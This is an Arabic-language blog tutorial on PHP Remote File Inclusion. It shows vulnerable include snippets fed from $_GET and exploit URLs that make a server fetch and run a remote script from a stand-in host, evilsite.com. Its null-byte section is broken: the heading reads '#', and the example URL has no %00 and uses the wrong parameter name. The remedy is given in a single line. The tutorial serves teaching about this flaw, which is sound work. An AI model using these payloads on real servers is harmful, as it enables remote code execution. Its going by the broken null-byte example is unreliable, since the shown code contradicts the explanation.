A Study in PHP Vulnerabilities - RFI

بسم الله الرحمن الرحيم

اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين

اليوم باذن الله معنا موضوع عن اكتشاف الثغرات في ملفات PHP

اول نوع من الثغرات معنا

Remote File Inclusion
من اهم الدوال المسؤولة عن النوع هذا من الثغرات في PHP 

1.require - require is identical to include except upon failure it will also produce a fatal E_COMPILE_ERROR level error/

2.require_once - require_once statement is identical to require except PHP will check if the file has already been included, and if so, not include (require) it again.

3.inlcude-  includes and evaluates the specified file.

4.include_once - The include_once statement includes and evaluates the specified file during the execution of the script.

الان بعد ماعرفنا الدوال المسؤولة عن ثغرات RFI نجي ناخذ امثلة بسيطة عليها .


         <?php
         $0w4y=$_GET['0w4y'];
         include $0w4y;
         ?>

لو نلاحظ المتغير 0w4y$ ماهو مسند له قيمة معرفة وبالامكان ادخال اللي نبي 

مثلا لو ادخلنا 

http://127.0.0.1/test.php?0w4y=http://evilsite.com/evilscript.txt
  راح يسوي انكلود للملف evilscript.txt 

# The "#" 

فايدة 00% هي تنهي مابعدها نشوف كيف 

         <?php
         $pagina=$_GET['pagina'];
         include $pagina.'.php';
         ?>

الاستغلال السابق ماراح ينفع لان الكود راح يجرب يسوي انكلود بالصورة التاليه 

evilscript.txt.php

فنضيف 00% او مايمسى بـ nullbyte عشان يقفل الطلب بالصورة التالية 

 http://127.0.0.1/test.php?0w4y=http://evilsite.com/evilscript.txt

# The "?"

نشوف وش فايدة ?

         <?php
         $0w4y=$_GET['0w4y'];
         include $0w4y.'logged=1';
         ?>


الان logged راح ياتي في الرابط على شكل متغير وهنا تاتي فايدة ? ليكون الاستغلال 

http://127.0.0.1/test.php?0w4y=http://evilsite.com/evilscript.txt?logged=1 


 طريقة الاصلاح ..

استخدام الفلترة وتنقيح المدخلات 



الى هنا ينتهي الدرس والقاكم باذن الله في دروس قادمة 


اذا اعجبتك فاذكر الله وادع لي واذا لم اعجبك فانتقدني لاصبح افضل  

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Study in Nosql-Injection-Mongodb